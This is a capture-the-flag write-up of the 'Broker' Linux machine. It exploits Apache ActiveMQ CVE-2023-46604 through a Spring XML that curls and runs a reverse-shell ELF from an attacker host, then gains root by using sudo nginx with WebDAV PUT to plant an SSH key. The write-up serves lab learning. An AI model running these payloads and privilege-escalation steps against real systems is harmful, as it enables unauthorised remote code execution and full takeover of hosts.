Introduction
Broker is an easy Linux box built around a single, very topical vulnerability: CVE-2023-46604, the Apache ActiveMQ OpenWire remote code execution bug that made a lot of noise in late 2023. It is a clean, two-step machine: get RCE on the message broker, then abuse one over-permissive sudo rule to become root.
The foothold is almost handed to us. The ActiveMQ web console uses default admin:admin credentials, which is enough to read the exact version (5.15.15) and confirm it is vulnerable. From there, the OpenWire protocol on 61616 lets us trigger a deserialization gadget that makes the broker fetch and execute a remote Spring XML, which runs our payload and returns a shell as the activemq user. Privesc is a textbook GTFOBins move: activemq can run nginx under sudo, so we start a root-owned nginx with WebDAV PUT enabled and simply write our SSH key into /root/.ssh/authorized_keys.
Enumeration
Service Discovery
sudo nmap <target_ip> -T4 --min-rate 3500 -p 22,80,1883,5672,8161,61613,61614,61616 -sC -sV -oN scans/service-scan.nmapPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
|_ basic realm=ActiveMQRealm
1883/tcp open mqtt Apache ActiveMQ
5672/tcp open amqp? Apache ActiveMQ
8161/tcp open http Jetty 9.4.39.v20210325
|_ basic realm=ActiveMQRealm
61613/tcp open stomp Apache ActiveMQ
61614/tcp open http Jetty 9.4.39.v20210325
61616/tcp open apachemq ActiveMQ OpenWire transport 5.15.15Almost every port belongs to Apache ActiveMQ: MQTT (1883), AMQP (5672), STOMP (61613), the Jetty web console (8161), and the OpenWire transport on 61616. The nginx on port 80 is just a reverse proxy in front of the console (same ActiveMQRealm auth prompt).
The single most useful line is the version banner on 61616: OpenWire transport 5.15.15. ActiveMQ versions before 5.15.16 / 5.16.7 / 5.17.6 / 5.18.3 are vulnerable to CVE-2023-46604, so this build is in scope.
ActiveMQ web console
Message brokers are notorious for default credentials, so I tried the classic admin:admin against the console on 8161.
http://<target_ip>:8161/admin -> admin:admin -> logged inIt worked, and the console footer confirms Apache ActiveMQ 5.15.15. We do not actually need the console to exploit the box, but it removes all doubt about the version before firing an exploit at the broker.
Foothold
CVE-2023-46604 (OpenWire deserialization RCE)
The bug lives in ActiveMQ’s OpenWire marshaller: it will unmarshal an exception class named by the client and call its constructor with a string argument. The well-known gadget is Spring’s org.springframework.context.support.ClassPathXmlApplicationContext, whose constructor takes a URL to an XML bean definition. So we can make the broker fetch an XML file we host, and that XML tells Spring to run any command we like.
The plan is three files on our side:
- A payload to execute (a msfvenom reverse shell ELF).
- A Spring XML (
poc-linux.xml) that downloads and runs that ELF. - An HTTP server to serve both.
# 1) reverse-shell ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=<listener_port> -f elf -o test.elfThe poc-linux.xml is a Spring bean that shells out to fetch and execute the ELF:
<beans xmlns="http://www.springframework.org/schema/beans" ...>
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>curl http://<attacker_ip>:8001/test.elf -o /tmp/test.elf; chmod +x /tmp/test.elf; /tmp/test.elf</value>
</list>
</constructor-arg>
</bean>
</beans>Serve the directory containing both files, start a listener, and fire the exploit at the OpenWire port with the URL of our XML:
# serve the XML + ELF
python3 -m http.server 8001
# listener for the reverse shell
nc -lvnp <listener_port>
# trigger: point the broker at our XML on port 61616
./ActiveMQ-RCE -i <target_ip> -u http://<attacker_ip>:8001/poc-linux.xmlThe broker requests poc-linux.xml, then test.elf, runs it, and the listener catches a shell.
connect to [<attacker_ip>] from (UNKNOWN) [<target_ip>]
whoami
activemqThat is the user flag.
Gotcha worth noting: the PoC I used ships as a Windows
.exe, so on Kali it has to be run throughwine(wine ActiveMQ-RCE.exe ...). It is a small annoyance, not a blocker; several Python reimplementations of the same CVE exist if you would rather avoid wine.
Privilege Escalation — sudo nginx
First move on the shell:
activemq@broker:~$ sudo -l
User activemq may run the following commands on broker:
(ALL : ALL) NOPASSWD: /usr/sbin/nginxBeing able to run nginx as root is enough to own the box, via the GTFOBins nginx technique. The idea: start a second nginx instance, running as root, configured to serve the whole filesystem with WebDAV PUT enabled. That gives us an authenticated-as-root file write anywhere we want.
I dropped this minimal config in /tmp:
user root;
events {}
http {
server {
listen 443;
root /;
autoindex on;
dav_methods PUT;
}
}Start it under sudo:
sudo nginx -c /tmp/temp-fileNow there is a root-owned web server that will happily write files anywhere. The cleanest way to turn that into access is to plant our own SSH key in root’s authorized_keys:
# generate a keypair
ssh-keygen -f pwn
# PUT our public key into root's authorized_keys through the root nginx
curl -X PUT localhost:443/root/.ssh/authorized_keys -d "$(cat pwn.pub)"Then just SSH in as root with the private key:
chmod 600 pwn
ssh -i pwn root@<target_ip>
root@broker:~# whoami
rootMachine rooted.
Attack Chain Recap
nmap -> Apache ActiveMQ everywhere; OpenWire 5.15.15 on 61616
admin:admin on console :8161 -> confirm version 5.15.15
CVE-2023-46604 (OpenWire) -> broker loads our Spring XML -> runs msfvenom ELF
reverse shell -> user activemq
sudo -l -> NOPASSWD /usr/sbin/nginx
GTFOBins nginx: root WebDAV config -> sudo nginx -c /tmp/temp-file (listen 443, root /, PUT)
curl -X PUT authorized_keys -> our SSH key written into /root/.ssh
ssh -i pwn root@target -> rootKey takeaways
- Version banners are the exploit. OpenWire prints
5.15.15in the clear on 61616. Matching that to CVE-2023-46604 was the entire foothold;admin:adminwas just confirmation. - CVE-2023-46604 is a “load my remote class” bug. The broker deserialises a class name you supply and instantiates it with a string, and Spring’s
ClassPathXmlApplicationContextturns that into “fetch and run my XML”. Understanding the gadget beats blindly running a PoC. sudo nginxissudowrite-anywhere. Running a webserver as root withdav_methods PUTandroot /is a full arbitrary file write. Writing an SSH key is cleaner and more reliable than editing/etc/passwdor a cron.- Always check GTFOBins for the exact sudo binary.
nginxis not an obvious privesc until you see it listed there.